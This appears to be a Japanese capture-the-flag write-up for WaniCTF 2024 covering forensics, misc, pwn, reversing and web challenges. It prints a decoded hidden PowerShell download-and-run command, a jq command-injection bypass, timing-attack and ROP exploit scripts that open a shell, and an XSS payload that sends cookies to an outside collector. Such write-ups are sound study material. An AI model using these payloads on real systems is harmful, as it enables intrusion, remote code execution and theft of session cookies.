C:\Windows\System32Žȭwindow hidden -noni -enc JAB1AD0AJwBoAHQAJwArACcAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAwAC4AMQA2ADoAOAAyADgAMgAvAEIANgA0AF8AZABlAGMAJwArACcAbwBkAGUAXwBSAGsAeABCAFIAMwB0AEUAWQBYAGwAMQBiAFYAOQAwAGEARwBsAHoAWAAnACsAJwAyAGwAegBYADMATgBsAFkAMwBKAGwAZABGADkAbQBhAFcAeABsAGYAUQAlADMAJwArACcARAAlADMARAAvAGMAaABhAGwAbABfAG0AZQBtAF8AcwBlACcAKwAnAGEAcgBjAGgALgBlACcAKwAnAHgAZQAnADsAJAB0AD0AJwBXAGEAbgAnACsAJwBpAFQAZQBtACcAKwAnAHAAJwA7AG0AawBkAGkAcgAgAC0AZgBvAHIAYwBlACAAJABlAG4AdgA6AFQATQBQAFwALgAuAFwAJAB0ADsAdAByAHkAewBpAHcAcgAgACQAdQAgAC0ATwB1AHQARgBpAGwAZQAgACQAZABcAG0AcwBlAGQAZwBlAC4AZQB4AGUAOwAmACAAJABkAFwAbQBzAGUAZABnAGUALgBlAHgAZQA7AH0AYwBhAHQAYwBoAHsAfQA=

Base64復号。

$u='ht'+'tp://192.168.0.16:8282/B64_dec'+'ode_RkxBR3tEYXl1bV90aGlzX'+'2lzX3NlY3JldF9maWxlfQ%3'+'D%3D/chall_mem_se'+'arch.e'+'xe';$t='Wan'+'iTem'+'p';mkdir -force $env:TMP\..\$t;try{iwr $u -OutFile $d\msedge.exe;& $d\msedge.exe;}catch{}

整形。

$u='http://192.168.0.16:8282/B64_decode_RkxBR3tEYXl1bV90aGlzX2lzX3NlY3JldF9maWxlfQ%3D%3D/chall_mem_search.exe';
$t='WaniTemp';
mkdir -force $env:TMP\..\$t;
try{
  iwr $u -OutFile $d\msedge.exe;& $d\msedge.exe;
}catch{}

B64_decode と言われているので復号。

$ echo 'RkxBR3tEYXl1bV90aGlzX2lzX3NlY3JldF9maWxlfQ==' | base64 -d
FLAG{Dayum_this_is_secret_file}

FLAG{Dayum_this_is_secret_file}

Misc

JQ Playground (Easy)

main.py
@app.route("/", methods=["POST"])
def post():
    filter = request.form["filter"]
    print("[i] filter :", filter)
    if len(filter) >= 9:
        return render_template("index.tmpl", error="Filter is too long")
    if ";" in filter or "|" in filter or "&" in filter:
        return render_template("index.tmpl", error="Filter contains invalid character")
    command = "jq '{}' test.json".format(filter)
    ret = subprocess.run(
        command,
        shell=True,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        encoding="utf-8",
    )
    return render_template("index.tmpl", contents=ret.stdout, error=ret.stderr)

jq の引数を指定できるから何とかしろと。フラグは /flag.txt にある。

Easyだし正解者数も多いのに、なかなか解けなくて辛かった。8文字以内と、 ;|& が禁止という制約が大変。

jq のフィルタ部分はJavaScriptコードが書けるらしい。が、8文字以内じゃな……。

shell=True だからシェル的なアプローチも考えられる。 '`id`' で id が実行される。しかし余裕があと2文字しかない。 </f* とかしようにもファイルリダイレクトはワイルドカードは使えない。

filter を配列にしてしまうのが定番だが、Flaskの request.form では無理そう。

-f' /f*' でいけた。'' を脱出するが、使うのはシェルの機能ではなく jq の機能か。

jq: error: syntax error, unexpected '{', expecting $end (Unix shell quoting issues?) at , line 1:
FLAG{jqj6jqjqjqjqjqj6jqjqjqjqj6jqjqjq}    
jq: 1 compile error

FLAG{jqj6jqjqjqjqjqj6jqjqjqjqj6jqjqjq}

sh (Normal)

game.sh
#!/usr/bin/env sh

set -euo pipefail

printf "Can you guess the number? > "

read i

if printf $i | grep -e [^0-9]; then
    printf "bye hacker!"
    exit 1
fi

r=$(head -c512 /dev/urandom | tr -dc 0-9)

if [[ $r == $i ]]; then
    printf "How did you know?!"
    cat flag.txt
else
    printf "Nope. It was $r."
fi

1 || 2

$ nc chal-lz56g6.wanictf.org 7580
Can you guess the number? > 1 || 2
How did you know?!FLAG{use_she11check_0r_7he_unexpec7ed_h4ppens}

printf の1個目の初期指定文字列に % が無ければ2個目以降の引数は無視されるので、出力は 1 となり、チェックが通る。1 ||if の部分が通る。

FLAG{use_she11check_0r_7he_unexpec7ed_h4ppens}

Cheat Code (Easy)

10桁の整数である secret_number を100回以内に当てればクリア。これは無理。チートコードがあって、チートコードが正しければクリアできる。

チートコードはストレッチングされ、10桁の整数をチェックする間に1文字ごとにチートコードが正しいかどうかを確認している。タイミング攻撃。

attack.py
from pwn import *
import time

s = remote("chal-lz56g6.wanictf.org", 5000)

s.sendlineafter(b"Enter the cheat code: ", b"1234")

secret = ["0"]*10
for i in range(9):
    m = 9999999
    mc = ""
    for c in "0123456789":
        t0 = time.time()
        secret[i] = c
        s.sendlineafter(b"Enter the secret code: ", "".join(secret).encode())
        s.recvline()
        t1 = time.time()
        t = t1-t0
        print("".join(secret), t)
        if t<m:
            m = t
            mc = c
    secret[i] = mc

for c in "0123456789":
    secret[9] = c
    print("".join(secret))
    s.sendlineafter(b"Enter the secret code: ", "".join(secret).encode())
    r = s.recvline()[:-1].decode()
    print(r)
    if r=="Correct!":
        r = s.recvline()[:-1].decode()
        print(r)
        break
$ python3 attack.py
[+] Opening connection to chal-lz56g6.wanictf.org on port 5000: Done
0000000000 1.1085271835327148
1000000000 1.0898652076721191
2000000000 1.084608554840088
3000000000 1.0950937271118164
4000000000 1.0820040702819824
5000000000 1.1335391998291016
6000000000 0.9642772674560547
7000000000 1.1146504878997803
8000000000 1.1027536392211914
9000000000 1.1101067066192627
6000000000 1.0004091262817383
6100000000 0.8745722770690918
6200000000 0.9730749130249023
 :
138559160 0.22511625289916992
6138559170 0.11503791809082031
6138559180 0.22327852249145508
6138559190 0.22612476348876953
6138559170
Wrong!
6138559171
Wrong!
6138559172
Wrong!
6138559173
Wrong!
6138559174
Correct!
FLAG{t1m!ng_a774ck_1s_f34rfu1}
[*] Closed connection to chal-lz56g6.wanictf.org port 5000

FLAG{t1m!ng_a774ck_1s_f34rfu1}

cached hash (Easy)

コンテナイメージに機密情報を追加すると、あとから削除しても途中のレイヤーに残ってしまうらしい。

今回はマルチステージビルドを使ってるから大丈夫だよね……?

# FROM golang:1.22-alpine AS builder
FROM golang@sha256:6522f0ca555a7b14c46a2c9f50b86604a234cdc72452bf6a268cae6461d9000b AS builder

WORKDIR /usr/src/cachedhash

COPY go.mod go.sum ./
RUN go mod download && go mod verify

COPY . .
RUN go build -v -o /usr/local/bin/cachedhash ./...
RUN cachedhash -mode hash -file ./flag.txt > ./hashed_flag.txt

# FROM gcr.io/distroless/static-debian12:nonroot
FROM gcr.io/distroless/static-debian12@sha256:e9ac71e2b8e279a8372741b7a0293afda17650d926900233ec3a7b2b7c22a246

COPY --from=builder /usr/local/bin/cachedhash /usr/local/bin/
COPY --from=builder /usr/src/cachedhash/hashed_flag.txt /

ENTRYPOINT ["cachedhash", "-mode", "serve", "-file", "/hashed_flag.txt"]

フラグはビルド用のステージにしか無いから漏れないと主張している。

docker-compose.yaml を見ると、イメージは public.ecr.aws/s8s0z7v7/r39cvpwh:latest から取得している。

image.png

このcacheの中にあるのだろう。

しかし、どうやって取得したら良いのか分からない。 docker build --cache_from public.ecr.aws/s8s0z7v7/r39cvpwh -t hgoe . でダウンロードしているっぽさはあるけれど、ローカルのファイルがキャッシュ時と違うからキャッシュは使われない。

APIを叩いた。

公開されているリポジトリだが、

$ TOKEN=$(curl -k https://public.ecr.aws/token/ | jq -r '.token')

でトークンを取得する必要がある。


```shell-session
$ curl -H "Authorization: Bearer $TOKEN" https://public.ecr.aws/v2/s8s0z7v7/r39cvpwh/manifests/cache | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  8129    0  8129    0     0  16096      0 --:--:-- --:--:-- --:--:-- 16128
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.oci.image.manifest.v1+json",
  "config": {
    "mediaType": "application/vnd.buildkit.cacheconfig.v0",
    "digest": "sha256:a0aef58f302643941f833a800bb01dd7925959e31150dba5819fb6faaa18b50b",
    "size": 5199
  },
  "layers": [
    {
      "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
      "digest": "sha256:035d7f545c098ccce87dd15feaee8b9d3ff8f01ee14ce3f3774ec445c8c6781b",
      "size": 142,
      "annotations": {
        "buildkit/createdat": "2024-06-20T05:48:57.136445682Z",
        "containerd.io/uncompressed": "sha256:861fd0dbfa66671f64ed10432b1fdc9a71b4824097e0dab6fe771504c7439836"
      }
    },
    {
      "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
      "digest": "sha256:058cf3d8c2ba04ad7c064698c08c5e886a8623c0ad6171b8d72684253534417d",
      "size": 537709,
      "annotations": {
        "buildkit/createdat": "2024-06-20T05:48:32.779561644Z",
        "containerd.io/uncompressed": "sha256:945d17be9a3e27af5ca1c671792bf1a8f2c3f4d13d3994665d95f084ed4f8a60"
      }
    },
 :

各レイヤーを見ていったら、 sha256:583cf5a561807df13d4495669569f2292dde4d4f95e451f91e27c533efc5acda の中にあった。

$ curl -L -H "Authorization: Bearer $TOKEN" https://public.ecr.aws/v2/s8s0z7v7/r39cvpwh/blobs/sha256:583cf5a561807df13d4495669569f2292dde4d4f95e451f91e27c533efc5acda > 583cf5a561807df13d4495669569f2292dde4d4f95e451f91e27c533efc5acda.tar

フラグを見るに、APIを叩いたりしなくてすむ方法もある……?

FLAG{r3m07E_bU1ld_C4ch3_suPp0r7_1s_4dded_Las7_y34r}

Pwnable

nc (Beginner)

pwn問題はnc(net cat)コマンドを使って問題サーバに接続することがよくあります。ncの使い方を覚えておきましょう

下記コマンドをshellで実行することで問題サーバに接続することが出来ます。接続先で問題を解き、フラグを獲得してください

はい。

$ nc chal-lz56g6.wanictf.org 9003
15+1=0x10
FLAG{th3_b3ginning_0f_th3_r0ad_to_th3_pwn_p1ay3r}

15+1=0x までがサーバーからの出力で、 10 がこちらからの入力。 0x は16進数を表す。

FLAG{th3_b3ginning_0f_th3_r0ad_to_th3_pwn_p1ay3r}

do_not_rewrite (Easy)

canaryにはかなーり気をつけないといけません

main.c
 :
int main() {
    init();

    Ingredient ingredients[3];
    printf("hint: show_flag = %p\n", (void *)show_flag);

    for (int i = 0; i <= 3; i++) {
        printf("\nEnter the name of ingredient %d: ", i + 1);
        scanf("%s", ingredients[i].name);

        printf("Enter the calories per gram for %s: ", ingredients[i].name);
        scanf("%lf", &ingredients[i].calories_per_gram);

        printf("Enter the amount in grams for %s: ", ingredients[i].name);
        scanf("%lf", &ingredients[i].amount_in_grams);
    }

    double total_calories = calculate_total_calories(ingredients, 3);

    printf("\nTotal calories for the meal: %.2f kcal\n", total_calories);

    return 0;
}

だいぶ苦労した。スタックバッファオーバーフローはできるが、問題文の通り、スタックカナリアがある。 i を書き換えて、スタックカナリアを飛び越えて書き込む……? でも、 iingredients より上位にあって書き換えられない。

しばらく悩んだけど、4個目のingredientが訊かれることに気が付いた。 i <= 3 。デバッガで動かしたり、逆アセンブル結果を眺めたりする前に、まずは普通に動かしましょう。

4個目のカロリーの位置にカナリアがあるので、書き換えてしまわないように、整数以外の値を入力する。system の中に16バイトアラインメントを要求する命令があって、スタックを1個分ずらす必要があることに注意。

attack.py
from pwn import *

context.arch = "amd64"

s = remote("chal-lz56g6.wanictf.org", 9004)

s.recvuntil(b"hint: show_flag = 0x")
show_flag = int(s.recvline()[:-1].decode(), 16)

for _ in range(3):
    s.sendline(b"a")
    s.sendline(b"0")
    s.sendline(b"0")

s.sendline(pack(show_flag+5))
s.sendline(b"x")
s.sendline(b"0")

s.interactive()
3 attack.py
[+] Opening connection to chal-lz56g6.wanictf.org on port 9004: Done
[*] Switching to interactive mode

Enter the name of ingredient 1: Enter the calories per gram for a: Enter the amount in grams for a:
Enter the name of ingredient 2: Enter the calories per gram for a: Enter the amount in grams for a:
Enter the name of ingredient 3: Enter the calories per gram for a: Enter the amount in grams for a:
Enter the name of ingredient 4: Enter the calories per gram for d2\xa3\x07'V: Enter the amount in grams for d2\xa3\x07'V:
Total calories for the meal: 0.00 kcal

Excellent!
FLAG{B3_c4r3fu1_wh3n_using_th3_f0rm4t_sp3cifi3r_1f_in_sc4nf}Segmentation fault (core dumped)
[*] Got EOF while reading in interactive
$

FLAG{B3_c4r3fu1_wh3n_using_th3_f0rm4t_sp3cifi3r_1f_in_sc4nf}

do_not_rewrite2 (Normal)

便利な関数が消えてしまいましたね...
ropをしてみましょう

show_flag() has disappeared :<
Let's try ROP

libcのアドレスは教えてくれるので適当に。ここでは ret を1個挟むことでスタックのアドレスを調整している。

attack.py
from pwn import *

context.arch = "amd64"

s = remote("chal-lz56g6.wanictf.org", 9005)

s.recvuntil(b"hint: printf = 0x")
printf = int(s.recvline()[:-1].decode(), 16)

for _ in range(3):
    s.sendline(b"a")
    s.sendline(b"0")
    s.sendline(b"0")

libc = ELF("pwn-do-not-rewrite2/libc.so.6")
libc.address = printf-libc.symbols.printf

rop = ROP(libc)
rop.raw(libc.address+0x601b6) # ret
rop.system(next(libc.search(b"/bin/sh")))

s.sendline(rop.chain())
s.sendline(b"x")
s.sendline(b"0")

s.interactive()
$ python3 attack.py
[+] Opening connection to chal-lz56g6.wanictf.org on port 9005: Done
[*] '/mnt/d/documents/ctf/wani2024/do_not_rewrite2/pwn-do-not-rewrite2/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 111 cached gadgets for 'pwn-do-not-rewrite2/libc.so.6'
[*] Switching to interactive mode

Enter the name of ingredient 1: Enter the calories per gram for a: Enter the amount in grams for a:
Enter the name of ingredient 2: Enter the calories per gram for a: Enter the amount in grams for a:
Enter the name of ingredient 3: Enter the calories per gram for a: Enter the amount in grams for a:
Enter the name of ingredient 4: Enter the calories per gram for \xb61\x87\x8b(\x7f: Enter the amount in grams for \xb61\x87\x8b(\x7f:
Total calories for the meal: 0.00 kcal
/bin/sh: 2: 0: not found
$ ls -al
total 28
drwxr-xr-x. 1 root pwn     47 Jun 21 09:11 .
drwxr-xr-x. 1 root root    17 Jun 21 09:11 ..
-r--r-----. 1 root pwn     26 Jun 21 09:10 FLAG
-r-xr-x---. 1 root pwn  19672 Jun 21 09:10 chall
-r-xr-x---. 1 root pwn     35 Jun 21 09:10 redir.sh
$ cat FLAG
FLAG{r0p_br0d3n_0ur_w0r1d}

FLAG{r0p_br0d3n_0ur_w0r1d}

Reversing

lambda (Easy)

見づらいので改行。

lambda2.py
import sys

sys.setrecursionlimit(10000000)

(lambda _0: _0(input))(lambda _1:
(lambda _2: _2('Enter the flag: '))
(lambda _3: (lambda _4: _4(_1(_3)))
(lambda _5: (lambda _6: _6(''.join))
(lambda _7: (lambda _8: _8(lambda _9: _7((chr(ord(c) + 12) for c in _9))))
(lambda _10: (lambda _11: _11(''.join))
(lambda _12: (lambda _13: _13((chr(ord(c) - 3) for c in _10(_5))))
(lambda _14: (lambda _15: _15(_12(_14)))
(lambda _16: (lambda _17: _17(''.join))
(lambda _18: (lambda _19: _19(lambda _20: _18((chr(123 ^ ord(c)) for c in _20))))
(lambda _21: (lambda _22: _22(''.join))
(lambda _23: (lambda _24: _24((_21(c) for c in _16)))
(lambda _25: (lambda _26: _26(_23(_25)))
(lambda _27: (lambda _28: _28('16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r'))
(lambda _29: (lambda _30: _30(''.join))
(lambda _31: (lambda _32: _32((chr(int(c,36) + 10) for c in _29.split('_'))))
(lambda _33: (lambda _34: _34(_31(_33)))
(lambda _35: (lambda _36: _36(lambda _37: lambda _38: _37 == _38))
(lambda _39: (lambda _40: _40(print))
(lambda _41: (lambda _42: _42(_39))
(lambda _43: (lambda _44: _44(_27))
(lambda _45: (lambda _46: _46(_43(_45)))
(lambda _47: (lambda _48: _48(_35))
(lambda _49: (lambda _50: _50(_47(_49)))
(lambda _51: (lambda _52: _52('Correct FLAG!'))
(lambda _53: (lambda _54: _54('Incorrect'))
(lambda _55: (lambda _56: _56(_41(_53 if _51 else _55)))
(lambda _57: lambda _58: _58)))))))))))))))))))))))))))

こうかな。

solve.py
F = "16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r"
F = [chr(int(c, 36)+10) for c in F.split("_")]
F = [chr(123^ord(c)) for c in F]
F = [chr(ord(c)+3) for c in F]
F = [chr(ord(c)-12) for c in F]
print("".join(F))
$ python3 solve.py
FLAG{l4_1a_14mbd4}

FLAG{l4_1a_14mbd4}

home (Normal)

FLAGを処理してくれる関数は難読化しちゃいました。読みたくは……ないですね!

デバッガをチェックして、フラグを生成して、そのまま終了している。

デバッガで実行して、チェックは条件分岐の直前でレジスタを書き換えて回避。

pwndbg> hexdump 0x7fffffffd500 0x100
+0000 0x7fffffffd500  89 00 00 00 83 00 00 00  73 00 00 00 90 00 00 00  │........│s.......│
+0010 0x7fffffffd510  74 00 00 00 86 00 00 00  68 00 00 00 81 00 00 00  │t.......│h.......│
+0020 0x7fffffffd520  81 00 00 00 5d 00 00 00  a7 00 00 00 2b 00 00 00  │....]...│....+...│
+0030 0x7fffffffd530  46 4c 41 47 7b 48 6f 77  5f 64 69 64 5f 79 6f 75  │FLAG{How│_did_you│
+0040 0x7fffffffd540  5f 67 65 74 5f 68 65 72  65 5f 34 56 4b 7a 54 4c  │_get_her│e_4VKzTL│
+0050 0x7fffffffd550  69 62 51 6d 50 61 42 5a  59 34 7d 00 b9 1d 80 24  │ibQmPaBZ│Y4}....$│
+0060 0x7fffffffd560  f0 d5 ff ff ff 7f 00 00  00 00 00 00 00 00 00 00  │........│........│
+0070 0x7fffffffd570  c8 da ff ff ff 7f 00 00  77 59 55 55 55 55 00 00  │........│wYUUUU..│
+0080 0x7fffffffd580  00 00 00 00 00 00 00 00  40 d0 ff f7 ff 7f 00 00  │........│@.......│
+0090 0x7fffffffd590  b0 d9 ff ff ff 7f 00 00  16 5a 55 55 55 55 00 00  │........│.ZUUUU..│
+00a0 0x7fffffffd5a0  2f 6d 6e 74 2f 64 2f 64  6f 63 75 6d 65 6e 74 73  │/mnt/d/d│ocuments│
+00b0 0x7fffffffd5b0  2f 63 74 66 2f 77 61 6e  69 32 30 32 34 2f 68 6f  │/ctf/wan│i2024/ho│
+00c0 0x7fffffffd5c0  6d 65 00 00 00 00 00 00  00 00 00 00 ff 7f 00 00  │me......│........│
+00d0 0x7fffffffd5d0  00 00 00 00 ff 7f 00 00  00 00 00 00 ff 7f 00 00  │........│........│
+00e0 0x7fffffffd5e0  ff ff ff ff 00 00 00 00  00 00 00 00 00 00 00 00  │........│........│
+00f0 0x7fffffffd5f0  08 39 fc f7 ff 7f 00 00  f0 da ff f7 ff 7f 00 00  │.9......│........│

FLAG{How_did_you_get_here_4VKzTLibQmPaBZY4}

Thread (Hard)

Ghidraで見ると、1文字ごとにスレッドを起動してフラグをチェックしている。

デバッガで解析しているなら大変そうだが、静的解析をする分には、まあそんなに影響は無い。

solve.py
T = [
    0x00a8, 0x008a, 0x00bf, 0x00a5, 0x02fd, 0x0059, 0x00de, 0x0024,
    0x0065, 0x010f, 0x00de, 0x0023, 0x015d, 0x0042, 0x002c, 0x00de,
    0x0009, 0x0065, 0x00de, 0x0051, 0x00ef, 0x013f, 0x0024, 0x0053,
    0x015d, 0x0048, 0x0053, 0x00de, 0x0009, 0x0053, 0x014b, 0x0024,
    0x0065, 0x00de, 0x0036, 0x0053, 0x015d, 0x0012, 0x004a, 0x0124,
    0x003f, 0x005f, 0x014e, 0x00d5, 0x000b,
]

ans = ""
for i in range(len(T)):
    t = T[i]
    for j in range(3)[::-1]:
        if (i+j)%3==0:
            t //= 3
        if (i+j)%3==1:
            t -= 5
        if (i+j)%3==2:
            t ^= 0x7f
    ans += chr(t)
print(ans)
$ python3 solve.py
FLAG{c4n_y0u_dr4w_4_1ine_be4ween_4he_thread3}

FLAG{c4n_y0u_dr4w_4_1ine_be4ween_4he_thread3}

gates (Normal)

angrに投げた。けっこう時間が掛かったので、想定解法ではないのかもしれない。

solve.py
import angr

project = angr.Project("rev-gates/gates", auto_load_libs=False)

@project.hook(0x401124)
def print_flag(state):
    print("FLAG SHOULD BE:", state.posix.dumps(0))
    project.terminate_execution()

project.execute()
$ python3 solve.py
FLAG SHOULD BE: b'FLAG{INTr0dUction_70_R3v3R$1NG1}'

FLAG{INTr0dUction_70_R3v3R$1NG1}

Web

Bad_Worker (Beginner)

オフラインで動くウェブアプリをつくりました。

そんなのあるんだ。

サーバーで動いているものをオフラインにダウンロードするから、フラグも見られるということ……? どこに保存されるのだろう……と開発者ツールを眺めていたら、次の関数が目に入った。

 :
async function onFetch(event) {
    let cachedResponse = null;
    if (event.request.method === 'GET') {
      const shouldServeIndexHtml = event.request.mode === 'navigate';
      let request = event.request;
      if (request.url.toString().includes("FLAG.txt")) {
            request = "DUMMY.txt";
      }
      if (shouldServeIndexHtml) {
        request = "index.html"
      }
        return  fetch(request);
    }

    return cachedResponse || fetch(event.request);
}
 :

Web Workerリクエストを書き換えているようなので、ブラウザを使わずにダウンロードした。

$ curl https://web-bad-worker-lz56g6.wanictf.org/FLAG.txt
FLAG{pr0gr3ssiv3_w3b_4pp_1s_us3fu1}

FLAG{pr0gr3ssiv3_w3b_4pp_1s_us3fu1}

pow (Easy)

ハッシュを計算してフラグを取ろう

SHA256ハッシュの上位24ビットが0であるような文字列を探索して、サーバーに送りつけている。1000000回送りつけるとクリアらしい。

同じ文字列を2回送ってもカウントされることに気が付いた。同じ文字列を100万回送りつける……? 100万回……? まあやってみるか、とやったら、レートリミットで弾かれた。

一度にまとめて送ることもできた。10万個送りつけるとエラーになったので、9万個を12回送った。

solve.py
import requests

s = requests.session()
for i in range(12):
    r = s.post("https://web-pow-lz56g6.wanictf.org/api/pow", json=["7844289"]*90000)
    print(r.text)
$ python3 solve.py
progress: 90000 / 1000000
progress: 180000 / 1000000
progress: 270000 / 1000000
progress: 360000 / 1000000
progress: 450000 / 1000000
progress: 540000 / 1000000
progress: 630000 / 1000000
progress: 720000 / 1000000
progress: 810000 / 1000000
progress: 900000 / 1000000
progress: 990000 / 1000000
FLAG{N0nCE_reusE_i$_FUn}

One Day One Letter (Normal)

果報は寝て待て

12文字のフラグのうち、1日ごとにどこか1文字が表示される。コンテスト期間は2日。クライアントのJavaScriptでは、タイムサーバーから時刻を取得して、コンテンツサーバーに送るということをしている。

タイムサーバーが返す時刻はちゃんと署名がされている。……が、コンテンツサーバーに送るときにはタイムサーバーのアドレスをクライアント側から指定しているので、自分でタイムサーバーを立てれば良い。

問題は、タイムサーバーがHTTPSでないといけないこと。

server.py
 :
def get_pubkey_of_timeserver(timeserver: str):
    req = Request(urljoin('https://' + timeserver, 'pubkey'))
    with urlopen(req) as res:
        key_text = res.read().decode('utf-8')
        return ECC.import_key(key_text)
 :

この手の自分で用意したサーバーに何かを送りつける問題を解くときのために、DDNSを手元のPCに向くようにしている。良い機会だから、これをHTTPSにするリバースプロキシを動かすようにした。これで、手元のPCで python3 -m http.server と動かしたものにHTTPSでアクセスできる。

配布されているタイムサーバーを1日とか2日とかずらして動かして、それをコンテンツサーバーに送って……ということを繰り返した。

$ curl 'https://myserver/'
{"timestamp": "1719133661", "signature": "dbab28a8ce2a22d989186531b883fc49f55cbf56c6677072842d7f692a96db0afcb64d428dc9177234b0a0923830c0c3f6b57e6547fa5bea36206133a07e53ac"}
$ curl 'https://web-one-day-one-letter-content-lz56g6.wanictf.org/' \
  -H 'content-type: application/json' \
  --data-raw '{"timeserver":"myserver","timestamp": "1719133661", "signature": "dbab28a8ce2a22d989186531b883fc49f55cbf56c6677072842d7f692a96db0afcb64d428dc9177234b0a0923830c0c3f6b57e6547fa5bea36206133a07e53ac"}'
<p>Current time is 2024-06-23 09:07:41.</p>
<p>Flag is FLAG{?y??????????}.</p>
<p>You can get only one letter of the flag each day.</p>
<p>See you next day.</p>
$
$ curl 'https://myserver/'
{"timestamp": "1719220103", "signature": "c21c7d3eaa02fc1c04ed1fae219181bcdc7de5c068fe6e3c78694ce486ef215dbd4ae0258e79e7a94d7f9103139a05d3f6f10977a9d720a1ef15a2df5fb0bf40"}
$ curl 'https://web-one-day-one-letter-content-lz56g6.wanictf.org/'   -H 'content-type: application/json'   --data-raw '{"timeserver":"myserver","timestamp": "1719220103", "signature": "c21c7d3eaa02fc1c04ed1fae219181bcdc7de5c068fe6e3c78694ce486ef215dbd4ae0258e79e7a94d7f9103139a05d3f6f10977a9d720a1ef15a2df5fb0bf40"}'
<p>Current time is 2024-06-24 09:08:23.</p>
<p>Flag is FLAG{??i?????????}.</p>
<p>You can get only one letter of the flag each day.</p>
<p>See you next day.</p>
 :

FLAG{lyingthetime}

Noscript (Normal)

XSSができるが、

This page is protected by csp default-src 'self', script-src 'none'.

APIの /username/:id はCSPが掛かっていない。

プロフィール欄に

<iframe src="/username/97678880-e285-4bf7-9965-87435c09e678"></iframe>

を書いて、ユーザー名を

<script>fetch("https://....m.pipedream.net/?"+document.cookie)</script>

にした。

HTTPSのページからHTTPSのページに fetch はできないらしい。この問題は「One Day One Letter」より先に解いていたので、こっちはRequestBinを使った。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0